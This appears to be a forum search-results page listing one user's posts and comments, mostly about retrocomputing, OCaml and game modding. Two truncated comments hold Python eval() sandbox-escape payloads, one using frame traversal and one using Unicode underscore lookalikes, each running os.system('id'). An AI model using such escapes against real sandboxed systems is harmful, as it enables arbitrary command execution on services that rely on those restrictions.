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farlow
searching PlanetScale…
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7 ms
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1.
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by
farlow
3mo ago
Great writing and cool project! I really enjoyed your intuitive explanations.
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Running a Minecraft Server and More on a 1960s Univac Computer
(farlow.dev)
4 points
by
farlow
6mo ago
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0 comments
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by
farlow
6mo ago
You can do it without unicode, too: eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id')
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by
farlow
6mo ago
You can bypass this with unicode: eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c
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An Analysis of Poptropica's Mancala
(farlow.dev)
4 points
by
farlow
8mo ago
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0 comments
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Encoding SAT in OCaml GADTs
(farlow.dev)
4 points
by
farlow
1y ago
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0 comments
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Compiling OCaml to the TI-84 CE Calculator
(farlow.dev)
110 points
by
farlow
1y ago
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5 comments
8.
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by
farlow
1y ago
Neat, thanks for sharing!
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by
farlow
1y ago
The mod is ultimately just C code that is called from hooks installed into the game engine. Concretely, we overwrite an instruction in the game engine's render function with a jump to one of our C functions. Then we jump back to contin
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Speedrunning and Modding the Incredibles: Rise of the Underminer
(farlow.dev)
78 points
by
farlow
1y ago
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7 comments